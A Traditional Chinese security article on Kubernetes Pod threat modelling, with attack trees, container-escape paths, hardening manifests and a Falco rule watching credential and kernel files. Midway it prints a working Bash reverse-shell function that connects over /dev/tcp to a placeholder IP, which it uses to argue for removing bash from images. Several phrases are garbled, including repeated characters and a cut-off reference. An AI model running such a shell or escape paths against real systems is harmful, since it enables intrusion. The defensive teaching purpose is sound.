威脅建模不僅是理論概念,而是實際安全規劃的基礎。在我的實踐中,發現許多團隊往往直接跳到實施安全控制,而沒有先理解他們真正面臨的威脅。這種方法可能導致資源錯配,過度保護低風險區域,而忽視了真正的高風險區域。
攻擊樹是一個特別有用的工具,它幫助團隊視覺化攻擊路徑。在Kubernetes環境中,一個常見的誤解是認為容器本身提供了強大的安全隔離。然而,當我們繪製攻擊樹時,往往會發現從容器到主機的多種潛在路徑,特別是當容器設定了過多許可權時。
在實際專案中,我經常使用攻擊樹來展示為什麼某些安全控制措施是必要的。例如,當討論是否需要Pod安全策略或Pod安全標準時,展示一個從容器逃逸到主機的攻擊樹,可以直觀地說明為什麼限制容器許可權是必要的。
構建有效的Kubernetes攻擊樹
攻擊樹是威脅建模過程中的關鍵工具,它幫助我們視覺化攻擊路徑並識別關鍵的防禦點。在Kubernetes環境中構建攻擊樹需要深入理解其架構和元件之間的互動。
攻擊樹的基本元素
一個有效的Kubernetes攻擊樹包含以下基本元素:
- 攻擊目標 - 位於樹的頂部,表示攻擊者希望達成的目標
- 攻擊路徑 - 從樹的底部到頂部的路徑,代表攻擊者可能採取的步驟
- 邏輯關係 - 使用AND和OR門表示攻擊步驟之間的關係
- 先決條件 - 攻擊者需要具備的條件或資源
- 緩解措施 - 可以阻止或減輕攻擊的安全控制
構建步驟
以下是構建Kubernetes攻擊樹的步驟:
- 定義攻擊目標 - 例如"取得控制平面存取許可權"或"竊取機密資料"
- 識別可能的入口點 - 如API伺服器、kubelet、容器執行時等
- 對映攻擊路徑 - 從入口點到目標的可能路徑
- 增加邏輯關係 - 確定哪些步驟需要一起完成(AND),哪些是替代選項(OR)
- 評估可行性 - 根據攻擊者能力和現有控制措施評估每條路徑的可行性
- 識別關鍵防禦點 - 確定在哪些點實施安全控制最有效
例項:Pod逃逸攻擊樹
讓我們構建一個簡單的攻擊樹,展示攻擊者如何從一個被入侵的容器逃逸到主機系統:
目標: 從容器逃逸到主機系統
├── OR: 利用容器執行時漏洞
│ ├── 利用Docker漏洞
│ └── 利用containerd漏洞
├── OR: 利用設定錯誤
│ ├── 掛載主機敏感目錄
│ ├── 使用特權容器
│ ├── 使用hostPID/hostIPC/hostNetwork
│ └── 使用不安全的capabilities
├── OR: 利用核心漏洞
│ ├── 利用未修補的核心漏洞
│ └── 利用核心模組漏洞
└── AND: 使用側通道攻擊
├── 識別同一節點上的其他容器
└── 利用分享資源洩露訊息
這個攻擊樹清晰地展示了攻擊者可能採取的不同路徑。例如,攻擊者可以利用容器執行時漏洞OR設定錯誤OR核心漏洞來達成目標。而對於側通道攻擊,攻擊者需要同時(AND)識別同一節點上的其他容器並利用分享資源洩露訊息。
攻擊樹的實際應用價值
攻擊樹不僅是一個理論工具,它在實際安全規劃中有著巨大價值。在我的工作中,我發現攻擊樹特別有助於:
- 優先順序排序 - 透過識別最可能的攻擊路徑,幫助團隊優先解決最關鍵的安全問題
- 溝通工具 - 向非安全專業人員解釋威脅和防禦措施的必要性
- 覆寫率評估 - 評估現有安全控制的覆寫範圍,識別潛在的盲點
- 紅隊演練 - 為安全測試團隊提供可能的攻擊路徑
當我與團隊討論Kubernetes安全策略時,我經常使用攻擊樹來展示為什麼某些安全控制是必要的。例如,當討論是否需要網路策略時,我會繪製一個展示橫向移動攻擊路徑的攻擊樹,直觀地說明為什麼預設的"允許所有"網路策略是有風險的。
Pod安全策略與最佳實踐
瞭解了威脅和攻擊路徑後,我們需要制定具體的安全策略來保護Pod級資源。以下是一些關鍵的最佳實踐:
容器映像檔安全
容器安全始於安全的基礎映象:
- 使用最小化基礎映象 - 如Alpine或distroless映象,減少攻擊面
- 定期更新基礎映象 - 確保包含最新的安全補丁
- 實施映象掃描 - 在CI/CD流程中整合漏洞掃描工具
- 簽名和驗證 - 使用映象簽名確保供應鏈安全
容器執行時安全
容器在執行時需要適當的安全限制:
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 3000
fsGroup: 2000
containers:
- name: secure-container
image: nginx:latest
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop:
- ALL
readOnlyRootFilesystem: true
這個Pod設定範例展示了幾個關鍵的安全實踐:
runAsNonRoot: true
- 確保容器不會以root使用者執行,這是防止容器逃逸的重要一步runAsUser/runAsGroup/fsGroup
- 明確指定容器執行的使用者和組IDallowPrivilegeEscalation: false
- 防止程式獲得比其父程式更多的許可權capabilities: drop: - ALL
- 刪除所有Linux capabilities,遵循最小許可權原則readOnlyRootFilesystem: true
- 使根檔案系統為只讀,防止攻擊者修改系統檔案
這些設定共同建立了一個更安全的容器執行環境,大降低了攻擊者在取得容器存取權後的活動空間。
實施Pod安全標準
Kubernetes提供了Pod安全標準(PSS)來幫助實施Pod級別的安全控制。PSS定義了三個安全級別:
- Privileged - 無限制,允許最大的許可權
- Baseline - 最小限制,防止已知的許可權提升
- Restricted - 嚴格限制,實施強化的安全控制
以下是實施Restricted設定檔案的範例:
apiVersion: v1
kind: Namespace
metadata:
name: restricted-ns
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
這個名稱空間設定使用標籤來實施Pod安全標準的"restricted"設定檔案。這意味著:
enforce: restricted
- 不符合restricted設定檔案的Pod將被拒絕建立audit: restricted
- 違反restricted設定檔案的事件將被記錄在稽核日誌中warn: restricted
- 使用者在嘗試建立違反restricted設定檔案的Pod時會收到警告
實施Pod安全標準是一種宣告式方法,可以在整個名稱空間或叢集級別強制執行安全最佳實踐,無需為每個Pod單獨設定安全上下文。
網路策略實施
限制Pod之間的通訊是防止橫向移動的關鍵:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
這個網路策略實施了預設拒絕所有入站和出站流量的原則。podSelector: {}
表示策略適用於名稱空間中的所有Pod。這是一個"零信任"方法的起點,之後可以增加更具體的策略來允許必要的流量。
在實際環境中,我發現從預設拒絕開始,然後逐步增加必要的允許規則是最安全的方法。這確保了只有明確允許的通訊才能發生,而不是反過來嘗試阻止可能有害的通訊。
敏感資料保護
在Pod中安全地處理敏感資料需要特別注意:
apiVersion: v1
kind: Pod
metadata:
name: secure-app
spec:
containers:
- name: app
image: app:latest
env:
- name: DB_PASSWORD
valueFrom:
secretKeyRef:
name: db-credentials
key: password
volumeMounts:
- name: tls-certs
mountPath: /etc/tls
readOnly: true
volumes:
- name: tls-certs
secret:
secretName: tls-certificates
這個設定展示了在Pod中處理敏感資料的兩種方法:
- 使用環境變數從Secret參照敏感值,而不是直接在Pod設定中硬編碼
- 將Secret掛載為只讀卷,用於儲存如TLS證書這樣的檔案
雖然Kubernetes Secret提供了一個管理敏感資料的機制,但在生產環境中,我強烈建議使用外部金鑰管理系統,如HashiCorp Vault或AWS Secrets Manager,並使用適當的整合將敏感資料注入到Pod中。
高階Pod安全技術
除了基本的安全實踐外,還有一些高階技術可以進一步加強Pod的安全性。
使用SeccompProfile限制系統呼叫
Seccomp可以限制容器可以使用的系統呼叫,大減少攻擊面:
apiVersion: v1
kind: Pod
metadata:
name: seccomp-pod
spec:
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/custom-profile.json
containers:
- name: secured-container
image: nginx:latest
這個設定使用自定義seccomp設定檔案來限制容器可以使用的系統呼叫。type: Localhost
表示設定檔案位於節點上,localhostProfile
指定了設定檔案的路徑。自定義seccomp設定檔案可以精確控制允許哪些系統呼叫,從而實作深度防禦。
在實際佈署中,我通常建議先使用稽核模式來收集應用程式實際需要的系統呼叫,然後根據這些訊息建立最小許可權的seccomp設定檔案。
使用AppArmor或SELinux增強隔離
Kubernetes支援與Linux安全模組整合,如AppArmor和SELinux:
apiVersion: v1
kind: Pod
metadata:
name: apparmor-pod
annotations:
container.apparmor.security.beta.kubernetes.io/secure-container: localhost/custom-profile
spec:
containers:
- name: secure-container
image: nginx:latest
這個設定透過註解將AppArmor設定檔案應用到特定容器。AppArmor可以限制容器可以存取的檔案、網路資源和其他系統資源,提供比seccomp更全面的保護。
在生產環境中,AppArmor和SELinux可以作為深度防禦策略的一部分,與其他安全控制措施一起使用。它們特別有助於限制攻擊者在成功入侵容器後的活動範圍。
使用OPA Gatekeeper強制執行策略
OPA Gatekeeper是一個強大的工具,可以在叢集級別強制執行自定義策略:
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sNoPrivilegedPods
metadata:
name: no-privileged-pods
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
excludedNamespaces:
- kube-system
這個Gatekeeper約束確保沒有Pod可以使用特權模式執行,除了kube-system名稱空間中的Pod。Gatekeeper使用Open Policy Agent(OPA)來評估和強制執行策略,允許建立複雜的自定義規則。
在我的工作中,Gatekeeper已成為實施組織安全策略的關鍵工具。它可以防止許多常見的安全錯誤設定,如使用特權容器、掛載敏感主機路徑或使用不安全的capabilities。
實際案例:檢測和防止容器逃逸
為了將理論付諸實踐,讓我們看一個檢測和防止容器逃逸的實際案例。
容器逃逸的常見路徑
容器逃逸通常利用以下路徑之一:
- 特權容器或過度許可權
- 掛載敏感主機路徑
- 容器執行時或核心漏洞
- 不安全的capabilities設定
檢測容器逃逸嘗試
以下是一個簡單的Falco規則,用於檢測容器逃逸嘗試:
- rule: Container Escape Attempt
desc: Detects potential container escape attempts
condition: >
container.id != host and
(
(evt.type=mount and
(mount.dest in (
'/proc', '/sys', '/root', '/etc/shadow',
'/etc/passwd', '/etc/kubernetes', '/var/run/docker.sock'
))
or
(evt.type=open and
fd.name in (
'/proc/sys/kernel/core_pattern',
'/proc/sys/kernel/modprobe'
))
)
output: >
Potential container escape attempt (user=%user.name
command=%proc.cmdline container=%container.name)
priority: CRITICAL
tags: [container, escape, mitre_privilege_escalation]
這個Falco規則監控可能表明容器逃逸嘗試的行為,如:
- 嘗試掛載敏感的主機路徑,如
/proc
、/sys
或Kubernetes設定目錄 - 嘗試存取可能用於許可權提升的關鍵系統檔案
當檢測到這些行為時,Falco會生成一個關鍵警示,包括使用者名、命令和容器名稱,便於進一步調查。
在實際佈署中,我通常會將Falco與SIEM系統整合,以便安全團隊能夠及時回應這些警示。
防止容器逃逸的策略
預防始終優於檢測。以下是防止容器逃逸的關鍵策略:
- 實施Pod安全策略:
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
privileged: false
allowPrivilegeEscalation: false
requiredDropCapabilities:
- ALL
volumes:
- 'configMap'
- 'emptyDir'
- 'projected'
- 'secret'
- 'downwardAPI'
- 'persistentVolumeClaim'
hostNetwork: false
hostIPC: false
hostPID: false
runAsUser:
rule: 'MustRunAsNonRoot'
seLinux:
rule: 'RunAsAny'
supplementalGroups:
rule: 'MustRunAs'
ranges:
- min: 1
max: 65535
fsGroup:
rule: 'MustRunAs'
ranges:
- min: 1
max: 65535
readOnlyRootFilesystem: true
這個PodSecurityPolicy實施了多層防護,透過:
- 禁止特權容器和許可權提升
- 刪除所有Linux capabilities
- 限制可以使用的卷型別,防止掛載敏感主機路徑
- 禁止使用主機網路、IPC和PID名稱空間
- 要求容器以非root使用者執行
- 強制使用只讀根檔案系統
這些限制共同建立了一個安全的容器執行環境,大減少了容器逃逸的可能性。
- 定期更新和補丁:
確保容器執行時、節點作業系統和內核保持最新狀態至關重要。自動化補丁管理流程可以確保及時應用安全更新。
- 實施深度防禦:
結合多層安全控制,如:
- 網路政策限制Pod間通訊
- AppArmor或SELinux設定檔案限制容器行為
- 執行時安全監控,如Falco
- 定期安全稽核和滲透測試
Kubernetes 安全威脅模型:容器環境中的攻擊面分析
在雲原生時代,Kubernetes 已成為容器協調的標準,但隨之而來的是複雜的安全挑戰。在建構容器化應用程式時,瞭解潛在威脅模型對於建立有效防禦至關重要。從我多年的安全架構經驗來看,大多數團隊往往低估了容器環境中的攻擊面廣度。
Pod 威脅模型的基本概念
當我們討論 Pod 的威脅模型時,首先需要了解幾個基本的攻擊向量類別:
網路層攻擊
網路攻擊是最常見的入侵點。攻擊者會尋找暴露在公網的敏感端點,如 API 伺服器。在我實際稽核的多個 Kubernetes 環境中,發現有超過 40% 的組織未正確設定 API 伺服器的存取控制,使其容易受到未經授權的存取。
應用程式漏洞導致容器遭到入侵
這是攻擊者最常用的入口點之一。遠端程式碼執行漏洞或供應鏈攻擊可能導致應用程式被入侵,進而成為攻擊的起點。一旦攻擊者獲得容器內的立足點,就可以開始橫向移動或許可權提升。
建立永續性存取
攻擊者會竊取憑證或建立永續性機制,使其能在 Pod、節點或容器重新啟動後仍能保持存取許可權。這種型別的攻擊特別危險,因為它可能在系統中潛伏很長時間。
惡意程式碼執行
一旦獲得立足點,攻擊者會執行惡意程式碼以橫向移動、提升許可權並探測其他端點。這通常涉及到利用容器內的工具或上載惡意工具。
存取敏感資料
攻擊者會嘗試從 API 伺服器、附加儲存或網路可達的資料儲存中讀取敏感資料,尤其是 Secret 資源。我曾見過攻擊者透過未受保護的 etcd 直接存取加密不足的 Secret。
拒絕服務
雖然這種攻擊較少見,但攻擊者可能會發起拒絕服務攻擊,尤其是針對關鍵業務系統。現代變種包括「拒絕錢包」(Denial of Wallet) 攻擊和加密鎖定 (cryptolocking),前者透過觸發大量資源使用來增加雲端成本,後者則加密資料並勒索贖金。
解析真實攻擊案例:Captain Hashjack 的入侵路徑
讓我們透過一個假設性但根據真實技術的攻擊場景,瞭解攻擊者如何入侵 Kubernetes 環境。
初始偵察階段
攻擊者 Captain Hashjack 首先對目標組織 BCTL 進行 DNS 子網域名稱和 S3 儲存桶的列舉。這是一種常見的偵察技術,用於尋找可能的入侵點。雖然這次沒有發現容易利用的漏洞,但這種偵察活動通常是攻擊的前奏。
在我的安全諮詢工作中,經常看到組織忽略這些早期偵察跡象,因為它們看似無害。然而,主動監控這些活動可以提供早期預警。
網站應用程式掃描
未能透過初始偵察找到入侵點後,攻擊者建立了一個公開網站帳號並登入,使用 OWASP Zed Attack Proxy (ZAP) 等網頁應用程式掃描器來檢查 API 呼叫和應用程式碼,尋找異常回應。
攻擊者特別關注:
- 洩漏的網頁伺服器橫幅和版本資訊,以瞭解哪些漏洞可能被利用
- 對 API 進行注入和模糊測試,尋找對使用者輸入處理不當的地方
這種程度的審查對於維護不善的程式碼和系統來說是難以長期抵擋的。攻擊者可能在茫資料中尋找一根針,但最安全的系統應該是完全沒有針的乾草堆積積。
注意:任何電腦系統都應該能夠抵抗這種非針對性攻擊。Kubernetes 系統應該透過最新軟體和強化設定來實作「最低可行安全性」,保護自己免受隨機攻擊。Kubernetes 透過支援最新的三個次要版本(例如 1.24、1.23 和 1.22)來鼓勵定期更新,這些版本每 4 個月發布一次,確保一年的補丁支援。較舊的版本不受支援,很可能存在漏洞。
雖然攻擊的許多部分可以自動化,但這是一個複雜的過程。隨機攻擊者更可能廣泛掃描觸發已公開 CVE 的軟體路徑,並對大範圍 IP(如公有雲提供商宣傳的範圍)執行自動化工具和指令碼。這些是比較明顯的攻擊手法。
遠端程式碼執行:容器安全的首要威脅
如果應用程式中的漏洞可以被用來執行不受信任(在本例中是外部)的程式碼,這被稱為遠端程式碼執行 (RCE)。攻擊者可以利用 RCE 在應用程式環境中建立遠端控制工作階段:在這裡是處理網路請求的容器,但如果 RCE 設法將不受信任的輸入傳遞到系統更深處,它可能會攻擊不同的處理程式、Pod 或叢集。
Kubernetes 安全的首要目標
你在 Kubernetes 和 Pod 安全方面的首要目標應該是防止 RCE,這可能簡單如 kubectl exec
命令,或複雜如反向 Shell。
應用程式碼經常變更,可能隱藏未被發現的錯誤,因此穩健的應用程式安全 (AppSec) 實踐(包括 IDE 和 CI/CD 工具整合以及作為任務接受標準的專用安全需求)對於防止攻擊者入侵 Pod 中執行的處理程式至關重要。
技術說明:Java 框架 Struts 是遭受遠端可利用漏洞(CVE-2017-5638)最廣泛佈署的函式庫之一,這促成了 Equifax 客戶資料洩露事件。要修復容器中這樣的供應鏈漏洞,可以在 CI 中快速重建容器,使用修補後的函式庫並重新佈署,減少暴露在網際網路上的漏洞函式庫的風險視窗。
網路攻擊面:Kubernetes 的最大風險區域
Kubernetes 叢集最大的攻擊面是其網路介面和導向公眾的 Pod。網路導向服務(如網頁伺服器)是保持叢集安全的第一道防線。
這是因為來自網路的未知使用者可以掃描導向網路的應用程式,尋找可利用的 RCE 跡象。他們可以使用自動化網路掃描器來嘗試利用導向網路的程式碼中已知的漏洞和輸入處理錯誤。如果處理程式或系統被迫以非預期的方式執行,就有可能透過這些未經測試的邏輯路徑被入侵。
防禦策略
為了防禦這類別攻擊,我們必須掃描容器中的作業系統和應用程式 CVE,希望在它們被利用之前更新它們。
如果攻擊者已經在 Pod 中獲得了 RCE,這將成為從 Pod 的網路位置和許可權集更深入攻擊系統的立足點。你應該努力限制攻擊者從此位置能做的事情,並根據工作負載的敏感性自訂安全設定。如果你的控制太寬鬆,這可能是組織範圍內資料外洩的開始。
專業提示:如需透過 Struts 使用 Metasploit 生成 Shell 的範例,請參閱 Sam Bowne 的。
正如我們的假設攻擊者剛發現的那樣,我們一直在執行 Struts 函式庫的易受攻擊版本。這為從內部開始攻擊叢集提供了機會。
反向 Shell 的風險
revshell() {
local TARGET_IP="${1:-123.123.123.123}";
local TARGET_PORT="${2:-1234}";
while :; do
nohup bash -i &> \
/dev/tcp/${TARGET_IP}/${TARGET_PORT} 0>&1;
sleep 1;
done
}
這段程式碼是一個簡單的 Bash 反向 Shell 函式,這也是從容器中移除 Bash 的好理由。它使用 Bash 的虛擬 /dev/tcp/
檔案系統,這在 sh 中不可利用,因為 sh 不包含這個經常被濫用的功能。
函式的工作原理是:
- 接受目標 IP 和連線埠作為引數(如果未提供,則使用預設值)
- 在無限迴圈中:
- 使用
nohup
啟動 Bash 互動式 Shell - 將 Shell 的標準輸出和錯誤輸出重定向到指定的 TCP 連線
- 將標準輸入重定向到同一 TCP 連線
- 每次嘗試連線後等待 1 秒
- 使用
這種反向 Shell 允許攻擊者在目標機器上獲得互動式命令列存取,即使在防火牆阻止入站連線的情況下也能工作,因為它是從受感染的容器發起對攻擊者控制伺服器的出站連線。
Kubernetes 工作負載:Pod 中的應用程式
現在讓我們看攻擊者登入的地方:Kubernetes Pod 內部。
Pod 的基本概念
多個協作容器可以邏輯上組合成一個 Pod,而與 Kubernetes 執行的每個容器都必須在 Pod 內執行。有時 Pod 被稱為「工作負載」,它是相同執行環境的多個副本之一。每個 Pod 必須在 Kubernetes 叢集的節點上執行。
Pod 是應用程式的單個例項,為了滿足需求擴充套件,工作負載資源(如 Deployment、DaemonSet 或 有狀態集合)會使用許多相同的 Pod 來複製應用程式。
Pod 的組成部分
你的 Pod 可能包括支援監控、網路和安全的 Sidecar 容器,以及用於 Pod 引導的「初始化」容器,使你能夠佈署不同的應用程式風格。這些 Sidecar 可能具有提升的許可權,是攻擊者感興趣的目標。
「初始化」容器按順序執行(從第一個到最後一個)來設定 Pod,可以對名稱空間進行安全變更,例如 Istio 的初始化容器設定 Pod 的 iptables(在內核的 netfilter 中),使執行時(非初始化容器)Pod 透過 Sidecar 容器路由流量。Sidecar 與 Pod 中的主要容器一起執行,所有非初始化容器在 Pod 中同時啟動。
Pod 內容與應用型別
Pod 內部是什麼?雲原生應用程式通常是微服務、網頁伺服器、工作者和批處理程式。一些 Pod 執行一次性任務(用作業包裝,或者可能是單個不重啟的容器),可能執行多個其他 Pod 來協助。
所有這些 Pod 都為攻擊者提供了機會。Pod 可能被入侵,或者更常見的是,導向網路的容器處理程式被入侵。
容器安全的核心策略
從我的實際經驗來看,建立有效的 Kubernetes 安全策略需要多層防禦:
- 最小化攻擊面:移除不必要的工具(如 Bash)和套件,使用最小基礎映像
- 持續漏洞掃描:在 CI/CD 管道中整合容器掃描,阻止佈署有已知漏洞的映像
- 實施 Pod 安全標準:根據工作負載敏感性應用適當的 Pod 安全策略
- 網路分段:使用網路策略限制 Pod 間通訊,實施最小許可權原則
- 監控異常行為:佈署執行時安全解決方案,檢測容器內的異常活動
在容器化環境中,安全是一個持續的過程,而不是一次性的努力。透過瞭解攻擊者的思維方式和可能的入侵路徑,我們可以建立更有效的防禦策略。
Kubernetes 的安全威脅模型是多層次的,從網路攻擊到容器入侵再到橫向移動。理解這些威脅向量對於建立有效的防禦至關重要。關鍵防禦策略包括防止遠端程式碼執行、限制容器許可權、持續掃描漏洞以及實施網路隔離。
透過採用安全第一的方法,並將安全考慮融入開發生命週期的每個階段,組織可以顯著降低 Kubernetes 環境中的安全風險。記住,在容器安全中,預防遠比補救更有效率與成本更低。
Kubernetes Pod 安全邊界的本質
在設計容器化應用架構時,Pod 作為 Kubernetes 中最小的佈署單位,其安全邊界的理解對於系統防護至關重要。我發現許多團隊往往將注意力僅放在容器層級的安全上,卻忽略了 Pod 整體安全邊界的重要性。
Pod 是一個信任邊界(trust boundary),它包含了所有內部容器,以及這些容器的身份和存取許可權。雖然可以透過策略設定增強 Pod 之間的隔離,但在進行威脅建模時,我們必須將整個 Pod 視為一個安全單元來考量。
在安全設計上,我們需要認識到 Kubernetes 的分散式特性。當我們應用資源設定(如多檔案 YAML 檔案)時,系統採用最終一致性模型,這意味著 API 呼叫並不總是按照我們預期的順序完成。這種順序依賴於各種因素,不應被視為可靠的執行序列。
Pod 架構解析與安全考量
Pod 的基本結構與運作方式
Pod 是 Kubernetes 的獨特創造,它提供了一個環境讓多個容器在其中執行。每個 Pod 具有自己的 IP 地址,可以掛載儲存空間,其名稱空間包圍了由容器執行時(如 containerd 或 CRI-O)建立的容器。
在技術實作上,一個 Pod 中的所有容器都會在同一個節點上啟動,這種設計既提高了效率,也帶來了特定的安全考量。當我設計多容器 Pod 時,通常會思考這些容器是否真的需要分享網路和儲存資源,因為分享意味著更大的攻擊面。
容器本質上是一個迷你的 Linux 環境,其程式透過控制組(cgroups)限制資源使用,並透過名稱空間限制存取許可權。在 Kubernetes 環境中,還可以應用各種其他控制來限制容器化程式的行為。
Pod 的生命週期與安全管理
Pod 的生命週期由 kubelet 控制,它是 Kubernetes API 伺服器的代理,佈署在叢集中的每個節點上,用於管理和執行容器。在實際維運中,我注意到 kubelet 的穩定性對整個系統安全至關重要:
// kubelet 的核心職責範例
func (kl *Kubelet) syncPod(ctx context.Context, updateType kubetypes.SyncPodType, pod *v1.Pod, mirrorPod *v1.Pod, podStatus *kubecontainer.PodStatus) (isTerminal bool, err error) {
// 同步 Pod 狀態
// 確保 Pod 安全執行
// 管理容器生命週期
}
這段程式碼展示了 kubelet 中同步 Pod 狀態的核心函式。當 kubelet 需要確保 Pod 的實際狀態與期望狀態一致時,會呼叫此函式接收 Pod 的定義、映象 Pod 訊息以及當前 Pod 狀態,然後執行必要的操作以維持 Pod 的正常執行。這個過程中包含了安全相關的檢查和管理,例如確保容器執行在正確的安全上下文中。
若 kubelet 與 API 伺服器失去聯絡,它會繼續管理其工作負載,必要時重啟它們。如果 kubelet 當機,容器管理器也會保持容器執行,以防它們崩潃。這種設計提供了良好的容錯性,但也意味著在安全事件發生時,可能需要額外的機制來確保快速回應。
容器安全的核心元素
在 Kubernetes 中,每個容器都是 Linux 名稱空間、控制組(cgroups)、功能(capabilities)和 Linux 安全模組(LSMs)的集合。容器執行時在構建容器時,會單獨建立和設定每個名稱空間,然後將它們組合成一個容器。
功能(capabilities)是"特殊"根使用者操作的個別開關,如更改任何檔案的許可權、將模組載入到核心、以原始模式存取裝置等。根使用者擁有所有功能,而功能也可以授予任何程式或使用者。過多的功能授予可能導致容器逃逸,這是我在安全稽核中經常檢查的重點。
容器隔離與網路安全
容器執行時與網路介面
kubelet 將 Pod 附加到容器網路介面(CNI)。CNI 網路流量被視為第 4 層 TCP/IP(儘管 CNI 外掛使用的底層網路技術可能不同),而加密則是 CNI 外掛、應用程式、服務網格的責任,或者至少是節點之間的底層網路的責任。
我在實際佈署中發現,如果流量未加密,它可能被受損的 Pod 或節點嗅探到。這是一個常被忽視的安全風險點:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: secure-pod-network-policy
namespace: production
spec:
podSelector:
matchLabels:
role: sensitive-data
policyTypes:
- Ingress
- Egress
ingress:
- from:
- podSelector:
matchLabels:
role: authorized-client
ports:
- protocol: TCP
port: 443
egress:
- to:
- podSelector:
matchLabels:
role: authorized-service
ports:
- protocol: TCP
port: 443
這個 NetworkPolicy 資源定義了一個網路安全策略,專門保護標記為 role: sensitive-data
的 Pod。它採用白名單方式嚴格控制流量:
- 入站(Ingress)流量僅允許來自標記為
role: authorized-client
的 Pod,與只能透過 TCP 443 連線埠(HTTPS)連線 - 出站(Egress)流量僅允許連線到標記為
role: authorized-service
的 Pod,同樣只能透過 TCP 443 連線埠
這種網路策略可以有效減少橫向移動攻擊的風險,確保即使某個 Pod 被入侵,攻擊者也難以存取網路中的其他敏感服務。這是深度防禦策略的一部分,可以與加密通訊結合使用,提供更全面的保護。
公共容器登入檔的威脅
公共容器登入檔經常託管惡意映像,因此在生產前檢測它們至關重要。我曾見過多個團隊因為未經驗證的容器映像而導致安全事件,這些事件本可以透過基本的映像掃描輕鬆避免。
“官方"容器映像在公共登入檔中更有可能是最新的與修補良好的。例如,Docker Hub 使用 Notary 簽署所有官方映像,這提供了額外的安全保證。
雖然在正確設定的容器執行時下啟動惡意容器通常是安全的,但也存在針對容器引導階段的攻擊。例如,我曾分析過 /proc/self/exe
逃逸漏洞(CVE-2019-5736),這種漏洞可能導致容器逃逸並影響宿主系統。
Kubernetes 儲存安全與控制平面保護
容器儲存介面與安全風險
Pod 還可以透過 Kubernetes 使用容器儲存介面(CSI)附加儲存,包括 PersistentVolumeClaim 和 StorageClass。在設計使用持久化儲存的應用時,我總是特別關注儲存驅動程式的安全性,因為這些元件歷史上出現過多個嚴重漏洞。
例如,CVE-2018-11235 暴露了對 gitrepo 儲存卷的 Git 攻擊,而 CVE-2017-1002101 則是一個子路徑卷掛載處理錯誤。這些漏洞提醒我們,儲存系統可能成為攻擊者的目標。
控制平面安全的關鍵考量
在 Kubernetes 架構中,控制平面和 API 伺服器在叢集中扮演著核心角色。API 伺服器負責與叢集資料儲存(etcd)互動,託管叢集的可擴充套件 API 表面,並管理 kubelet。如果 API 伺服器或 etcd 例項被入侵,攻擊者將完全控制叢集,這些是系統中最敏感的部分。
為了在較大的叢集中獲得更好的效能,控制平面應該在與 etcd 分離的基礎設施上執行。etcd 需要高磁碟和網路 I/O 以支援其分散式共識演算法(Raft)的合理回應時間。
由於 API 伺服器是 etcd 叢集的唯一客戶端,任何一方的入侵實際上都會導致叢集被完全控制。由於 Kubernetes 中的非同步排程,將惡意的、未排程的 Pod 注入 etcd 將觸發它們被排程到 kubelet。
對於所有快速發展的軟體,Kubernetes 堆積積堆積疊的大多數部分都存在漏洞。執行現代軟體的唯一解決方案是擁有健康的持續整合基礎設施,能夠在漏洞宣佈時及時重新佈署易受攻擊的叢集。
深入理解容器技術
容器的本質與構成
容器到底是什麼?從技術本質上講,它是 Linux 的一個微觀世界,給程式提供了專用核心、網路和使用者空間的幻覺。這種軟體技巧欺騙了容器內的程式,使其相信它是在主機上執行的唯一程式。這對於隔離和將現有工作負載遷移到 Kubernetes 非常有用。
正如容器技術工作者所說,"(Linux) 容器是使用者空間的幻覺”,是一系列設定的集合,向內部程式呈現隔離的幻覺。容器不是作為單一 API、函式庫或核心功能存在的,而是核心啟動一系列名稱空間、設定控制組和功能、增加 AppArmor 和 SELinux 等 Linux 安全模組並在其中啟動程式後剩下的捆綁和隔離。
容器的啟動與安全控制
從實作角度看,容器是一個特殊環境中的程式,具有一些啟用或與主機(或其他容器)分享的名稱空間組合。該程式來自容器映像,它是一個 TAR 檔案,包含容器的根檔案系統、其應用程式和任何依賴項。
當映像被解壓到主機上的目錄中並建立特殊的檔案系統"pivot root"時,就會在其周圍構建一個"容器",並從容器內的檔案系統中執行其 ENTRYPOINT。每個 Pod 中的每個容器都必須經歷這個過程。
容器安全有兩個部分:容器映像的內容,以及其執行時設定和安全上下文。容器的抽象風險評級可以從其啟用和安全使用的安全原語數量得出,避免主機名稱空間,使用控制組限制資源使用,放棄不需要的功能,為程式的使用模式收緊安全模組設定,以及最小化程式和檔案系統所有權和內容。
我開發過的 Kubesec.io 工具就是根據容器設定的安全性來評估 Pod 設定的安全性,包括它如何良好地實作最小許可權原則。
容器安全最佳實踐
在多年的容器安全工作中,我總結了一些關鍵的最佳實踐:
1. 實施最小許可權原則
容器應該只擁有執行其功能所需的最小許可權集。這包括:
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 3000
fsGroup: 2000
containers:
- name: secure-container
image: nginx:latest
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop:
- ALL
add:
- NET_BIND_SERVICE
readOnlyRootFilesystem: true
這個 Pod 設定展示了多層安全控制的實施:
runAsNonRoot: true
確保容器不以 root 使用者執行- 明確指定非特權使用者 ID (1000) 和群組 ID (3000, 2000)
- 禁止許可權升級 (
allowPrivilegeEscalation: false
) - 丟棄所有預設 capabilities,只增加真正需要的功能 (NET_BIND_SERVICE 允許繫結低位連線埠)
- 將根檔案系統設為只讀,防止執行時修改
這些設定共同實作了最小許可權原則,大幅減少了容器被利用後可能造成的損害。即使容器被入侵,攻擊者也難以獲得更高許可權或修改系統檔案。
2. 容器映像安全掃描
在佈署前使用安全掃描工具檢查容器映像中的漏洞。這可以整合到 CI/CD 管道中:
# 在 CI/CD 流程中的容器掃描範例
stages:
- build
- scan
- deploy
build_image:
stage: build
script:
- docker build -t myapp:$CI_COMMIT_SHA .
scan_image:
stage: scan
script:
- trivy image --severity HIGH,CRITICAL myapp:$CI_COMMIT_SHA
